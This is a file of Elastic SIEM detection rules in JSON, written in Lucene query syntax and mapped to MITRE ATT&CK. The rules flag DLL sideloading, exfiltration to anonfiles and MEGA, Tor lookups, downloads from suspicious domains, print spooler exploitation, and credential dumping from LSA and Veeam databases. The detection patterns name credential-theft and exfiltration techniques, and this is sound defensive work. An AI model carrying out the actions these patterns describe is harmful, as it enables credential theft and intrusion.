{"description": "Detects DLL sideloading of system dlls that are not present on the system by default. Usualy to achieve techniques such as UAC bypass and privilege escalation", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "22b9a2ea-2768-9617-c52e-0dfcd92d5549", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential DLL Sideloading Of Non-Existent DLLs From System Folders", "query": "(dll.path:(*C\\:\\\\Windows\\\\System32\\\\WLBSCTRL.dll OR *C\\:\\\\Windows\\\\System32\\\\TSMSISrv.dll OR *C\\:\\\\Windows\\\\System32\\\\TSVIPSrv.dll OR *C\\:\\\\Windows\\\\System32\\\\wow64log.dll OR *C\\:\\\\Windows\\\\System32\\\\WptsExtensions.dll OR *C\\:\\\\Windows\\\\System32\\\\wbem\\\\wbemcomn.dll) AND (NOT (Signed:\"true\" AND winlog.event_data.Signature:\"Microsoft Windows\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Dllhost that communicates with public IP addresses", "enabled": false, "false_positives": ["Communication to other corporate systems that use IP addresses from public address spaces"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c27de3b9-f924-135b-0395-055d19e86049", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dllhost Internet Connection", "query": "((process.executable:*\\\\dllhost.exe AND winlog.event_data.Initiated:\"true\") AND (NOT ((destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 169.254.* OR 127.*)) OR (destination.ip:(\\:\\:1* OR 0\\:0\\:0\\:0\\:0\\:0\\:0\\:1* OR fe80\\:* OR fc* OR fd*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218", "T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["bartblaze"], "license": ""}
{"description": "Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands", "enabled": false, "false_positives": ["Possible. Requires further testing."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2f5aa5c6-061f-046e-d674-65de262c2daa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Management Instrumentation DLL Loaded Via Microsoft Word", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:(*\\\\wmiutils.dll OR *\\\\wbemcomn.dll OR *\\\\wbemprox.dll OR *\\\\wbemdisp.dll))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Michael R. (@nahamike01)"], "license": ""}
{"description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", "enabled": false, "false_positives": ["Legitimate access to anonfiles.com"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a9fa591-28d0-5c4a-5355-dd5495e98ac1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS Query for Anonfiles.com Domain", "query": "dns.question.name:*.anonfiles.com*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", "enabled": false, "false_positives": ["Legitimate usage of ip lookup services such as ipify API"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d95d2559-c7ab-4a0a-ad7b-7ae7dd0a1ab6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious DNS Query for IP Lookup Service APIs", "query": "(dns.question.name:(\"canireachthe.net\" OR \"ipv4.icanhazip.com\" OR \"ip.anysrc.net\" OR \"edns.ip\\-api.com\" OR \"wtfismyip.com\" OR \"checkip.dyndns.org\" OR \"api.2ip.ua\" OR \"icanhazip.com\" OR \"api.ipify.org\" OR \"ip\\-api.com\" OR \"checkip.amazonaws.com\" OR \"ipecho.net\" OR \"ipinfo.io\" OR \"ipv4bot.whatismyipaddress.com\" OR \"freegeoip.app\" OR \"ifconfig.me\") AND (NOT (process.executable.text:(*\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe OR *\\\\iexplore.exe OR *\\\\firefox.exe OR *\\\\brave.exe OR *\\\\opera.exe OR *\\\\msedge.exe OR *\\\\vivaldi.exe OR *\\\\chromium.exe OR *\\\\microsoftedge.exe OR *\\\\iexplorer.exe OR *\\\\CCleaner\\ Browser\\\\Application\\\\CCleanerBrowser.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1590"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0043", "reference": "", "name": "Reconnaissance"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1590", "name": "Gather Victim Network Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Brandon George (blog post)", "Thomas Patzke (rule)"], "license": ""}
{"description": "Detects DNS queries for subdomains used for upload to MEGA.io", "enabled": false, "false_positives": ["Legitimate Mega upload"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9bbc1363-f110-b8ba-a00b-6828eff28676", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS Query for MEGA.io Upload Domain", "query": "dns.question.name:*userstorage.mega.co.nz*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Aaron Greetham (@beardofbinary) - NCC Group"], "license": ""}
{"description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", "enabled": false, "false_positives": ["Unknown binary names of TeamViewer", "Other programs that also lookup the observed domain"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b5a0ea5-29d2-5096-e710-25b6ca75f1b8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious TeamViewer Domain Access", "query": "(dns.question.name:(\"taf.teamviewer.com\" OR \"udp.ping.teamviewer.com\") AND (NOT (process.executable:*TeamViewer*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects DNS resolution of an .onion address related to Tor routing networks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f782447d-4b74-6439-e380-d19eabb66217", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Query Tor Onion Address", "query": "dns.question.name:*.onion*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects download of certain file types from hosts in suspicious TLDs", "author": ["Florian Roth"], "enabled": false, "false_positives": ["All kinds of software downloads"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "557820f8-aec3-6dbd-02ad-f453d1300bc8", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Download From Suspicious TLD - Blacklist", "query": "(url.extension:(\"exe\" OR \"vbs\" OR \"bat\" OR \"rar\" OR \"ps1\" OR \"doc\" OR \"docm\" OR \"xls\" OR \"xlsm\" OR \"pptm\" OR \"rtf\" OR \"hta\" OR \"dll\" OR \"ws\" OR \"wsf\" OR \"sct\" OR \"zip\") AND ((destination.domain:(*.country OR *.stream OR *.gdn OR *.mom OR *.xin OR *.kim OR *.men OR *.loan OR *.download OR *.racing OR *.online OR *.science OR *.ren OR *.gb OR *.win OR *.top OR *.review OR *.vip OR *.party OR *.tech OR *.xyz OR *.date OR *.faith OR *.zip OR *.cricket OR *.space OR *.info OR *.vn OR *.cm OR *.am OR *.cc OR *.asia OR *.ws OR *.tk OR *.biz OR *.su OR *.st OR *.ro OR *.ge OR *.ms OR *.pk OR *.nu OR *.me OR *.ph OR *.to OR *.tt OR *.name OR *.tv OR *.kz OR *.tc OR *.mobi OR *.study OR *.click OR *.link OR *.trade OR *.accountant OR *.cf OR *.gq OR *.ml OR *.ga OR *.pw)) OR (url.domain:(*.country OR *.stream OR *.gdn OR *.mom OR *.xin OR *.kim OR *.men OR *.loan OR *.download OR *.racing OR *.online OR *.science OR *.ren OR *.gb OR *.win OR *.top OR *.review OR *.vip OR *.party OR *.tech OR *.xyz OR *.date OR *.faith OR *.zip OR *.cricket OR *.space OR *.info OR *.vn OR *.cm OR *.am OR *.cc OR *.asia OR *.ws OR *.tk OR *.biz OR *.su OR *.st OR *.ro OR *.ge OR *.ms OR *.pk OR *.nu OR *.me OR *.ph OR *.to OR *.tt OR *.name OR *.tv OR *.kz OR *.tc OR *.mobi OR *.study OR *.click OR *.link OR *.trade OR *.accountant OR *.cf OR *.gq OR *.ml OR *.ga OR *.pw))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Initial Access", "T1203", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", "enabled": false, "false_positives": ["Software downloads"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "46fef02d-aaec-930d-904e-12c2f6e3fc31", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Download from Suspicious Dyndns Hosts", "query": "(url.extension:(\"exe\" OR \"vbs\" OR \"bat\" OR \"rar\" OR \"ps1\" OR \"doc\" OR \"docm\" OR \"xls\" OR \"xlsm\" OR \"pptm\" OR \"rtf\" OR \"hta\" OR \"dll\" OR \"ws\" OR \"wsf\" OR \"sct\" OR \"zip\") AND (destination.domain:(*.hopto.org OR *.no\\-ip.org OR *.no\\-ip.info OR *.no\\-ip.biz OR *.no\\-ip.com OR *.noip.com OR *.ddns.name OR *.myftp.org OR *.myftp.biz OR *.serveblog.net OR *.servebeer.com OR *.servemp3.com OR *.serveftp.com OR *.servequake.com OR *.servehalflife.com OR *.servehttp.com OR *.servegame.com OR *.servepics.com OR *.myvnc.com OR *.ignorelist.com OR *.jkub.com OR *.dlinkddns.com OR *.jumpingcrab.com OR *.ddns.info OR *.mooo.com OR *.dns\\-dns.com OR *.strangled.net OR *.adultdns.net OR *.craftx.biz OR *.ddns01.com OR *.dns53.biz OR *.dnsapi.info OR *.dnsd.info OR *.dnsdynamic.com OR *.dnsdynamic.net OR *.dnsget.org OR *.fe100.net OR *.flashserv.net OR *.ftp21.net OR *.http01.com OR *.http80.info OR *.https443.com OR *.imap01.com OR *.kadm5.com OR *.mysq1.net OR *.ns360.info OR *.ntdll.net OR *.ole32.com OR *.proxy8080.com OR *.sql01.com OR *.ssh01.com OR *.ssh22.net OR *.tempors.com OR *.tftpd.net OR *.ttl60.com OR *.ttl60.org OR *.user32.com OR *.voip01.com OR *.wow64.net OR *.x64.me OR *.xns01.com OR *.dyndns.org OR *.dyndns.info OR *.dyndns.tv OR *.dyndns\\-at\\-home.com OR *.dnsomatic.com OR *.zapto.org OR *.webhop.net OR *.25u.com OR *.slyip.net) OR url.domain:(*.hopto.org OR *.no\\-ip.org OR *.no\\-ip.info OR *.no\\-ip.biz OR *.no\\-ip.com OR *.noip.com OR *.ddns.name OR *.myftp.org OR *.myftp.biz OR *.serveblog.net OR *.servebeer.com OR *.servemp3.com OR *.serveftp.com OR *.servequake.com OR *.servehalflife.com OR *.servehttp.com OR *.servegame.com OR *.servepics.com OR *.myvnc.com OR *.ignorelist.com OR *.jkub.com OR *.dlinkddns.com OR *.jumpingcrab.com OR *.ddns.info OR *.mooo.com OR *.dns\\-dns.com OR *.strangled.net OR *.adultdns.net OR *.craftx.biz OR *.ddns01.com OR *.dns53.biz OR *.dnsapi.info OR *.dnsd.info OR *.dnsdynamic.com OR *.dnsdynamic.net OR *.dnsget.org OR *.fe100.net OR *.flashserv.net OR *.ftp21.net OR *.http01.com OR *.http80.info OR *.https443.com OR *.imap01.com OR *.kadm5.com OR *.mysq1.net OR *.ns360.info OR *.ntdll.net OR *.ole32.com OR *.proxy8080.com OR *.sql01.com OR *.ssh01.com OR *.ssh22.net OR *.tempors.com OR *.tftpd.net OR *.ttl60.com OR *.ttl60.org OR *.user32.com OR *.voip01.com OR *.wow64.net OR *.x64.me OR *.xns01.com OR *.dyndns.org OR *.dyndns.info OR *.dyndns.tv OR *.dyndns\\-at\\-home.com OR *.dnsomatic.com OR *.zapto.org OR *.webhop.net OR *.25u.com OR *.slyip.net)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1105", "T1568"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects download of Ursnif malware done by dropper documents.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f1815a85-b070-65a4-b280-344687e66fb5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ursnif Malware Download URL Pattern", "query": "(url.original:*\\/* AND url.original:*.php\\?l\\=* AND url.original:*.cab AND http.response.status_code:\"200\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "32c1bdc4-80ed-ebeb-f975-d47866bfa8f2", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-1675 Print Spooler Exploitation", "query": "(winlog.event_id:\"316\" AND (*UNIDRV.DLL,\\ kernelbase.dll,\\ * OR *\\ 123\\ * OR *\\ 1234\\ * OR *mimispool*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects driver load events that got blocked by Windows code integrity checks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8824a696-4119-72ae-92bf-e5e055cc4de3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Code Integrity Blocked Driver Load", "query": "\"that\\ did\\ not\\ meet\\ the\\ Microsoft\\ signing\\ level\\ requirements\"", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e306496-64fb-15e0-ba98-5479e3de5839", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Double Extension Files", "query": "((file.path.text:(*.zip OR *.rar OR *.iso OR *.exe) AND file.path.text:(*.doc.* OR *.docx.* OR *.xls.* OR *.xlsx.* OR *.ppt.* OR *.pptx.* OR *.jpg.* OR *.pdf.*)) OR file.path.text:(*.zip.exe OR *.rar.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "frack113"], "license": ""}
{"description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", "enabled": false, "false_positives": ["Users creating a shortcut on e.g. desktop"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0984f4f0-1fff-8924-b00e-a0af02017e25", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious LNK Double Extension Files", "query": "((file.path.text:*.lnk AND file.path.text:(*.doc.* OR *.docx.* OR *.xls.* OR *.xlsx.* OR *.ppt.* OR *.pptx.* OR *.jpg.* OR *.pdf.*)) AND (NOT (file.path.text:(*\\\\AppData\\\\Roaming\\\\Microsoft\\\\Office\\\\Recent\\\\* OR *\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "frack113"], "license": ""}
{"description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d253c572-37df-e44d-8f3d-82da44318362", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dropping Of Password Filter DLL", "query": "(process.command_line.text:*HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa* AND process.command_line.text:*scecli\\\\0\\** AND process.command_line.text:*reg\\ add*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1556"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1556", "name": "Modify Authentication Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Detects DSParse DLL being loaded by an Office Product", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a6f525e1-caee-ac71-9ede-5b3d53a13241", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Active Directory Parsing DLL Loaded Via Office Applications", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\dsparse.dll*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Detects dump of credentials in VeeamBackup dbo", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "01d74b23-7511-b72a-0dfa-f284ca46d615", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "VeeamBackup Database Credentials Dump", "query": "(process.executable:*\\\\sqlcmd.exe AND process.command_line:*SELECT* AND process.command_line:*TOP* AND process.command_line:*\\[VeeamBackup\\].\\[dbo\\].\\[Credentials\\]*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1005"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects Elise backdoor acitivty as used by APT32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0cfb46f3-c9ef-8022-d33b-6de5142f40e9", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Elise Backdoor", "query": "((process.executable:\"C\\:\\\\Windows\\\\SysWOW64\\\\cmd.exe\" AND process.command_line:*\\\\Windows\\\\Caches\\\\NavShExt.dll\\ *) OR process.command_line:*\\\\AppData\\\\Roaming\\\\MICROS\\~1\\\\Windows\\\\Caches\\\\NavShExt.dll,Setting)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects email exfiltration via powershell cmdlets", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "266596b7-dc19-604e-1474-a39d2f2f8e51", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Email Exifiltration Via Powershell", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:*Add\\-PSSnapin* AND process.command_line.text:*Get\\-Recipient* AND process.command_line.text:*\\-ExpandProperty* AND process.command_line.text:*EmailAddresses* AND process.command_line.text:*SmtpAddress* AND process.command_line.text:*\\-hidetableheaders*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali (rule)", " Azure-Sentinel (idea)"], "license": ""}
{"description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8ae1d1d4-b433-7443-806a-653431e6ea6a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Steganography Hide Files with Steghide", "query": "(type:\"EXECVE\" AND a0:\"steghide\" AND a1:\"embed\" AND a2:(\"\\-cf\" OR \"\\-ef\") AND a4:(\"\\-cf\" OR \"\\-ef\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects EmpireMonkey APT reported Activity", "enabled": false, "false_positives": ["Very Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "10975088-2153-b58c-3768-78a1e7945a4a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Empire Monkey", "query": "(process.command_line:*\\/i\\:%APPDATA%\\\\logs.txt\\ scrobj.dll AND (process.executable:*\\\\cutil.exe OR winlog.event_data.Description:\"Microsoft\$C\$\\ Registerserver\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bab8618e-b778-f485-100e-31973ca71b1b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Execution from Outlook", "query": "(process.command_line:*EnableUnsafeClientMailRules* OR (process.parent.executable:*\\\\outlook.exe AND process.command_line:*\\\\\\\\\\* AND process.command_line:*\\\\\\* AND process.command_line:*.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5d48f2b2-c858-adf0-5df6-ffb3687725f3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Scripted Diagnostics Turn Off Check Enabled - Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Policies\\\\Microsoft\\\\Windows\\\\ScriptedDiagnostics\\\\TurnOffCheck AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @securepeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "Detects encoded base64 MZ header in the commandline", "enabled": false, "false_positives": ["Unlikley"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c638a439-bfc9-5976-26fe-d4dd6c108400", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Base64 MZ Header In CommandLine", "query": "process.command_line:(*TVqQAAMAAAAEAAAA* OR *TVpQAAIAAAAEAA8A* OR *TVqAAAEAAAAEABAA* OR *TVoAAAAAAAAAAAAA* OR *TVpTAQEAAAAEAAAA*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
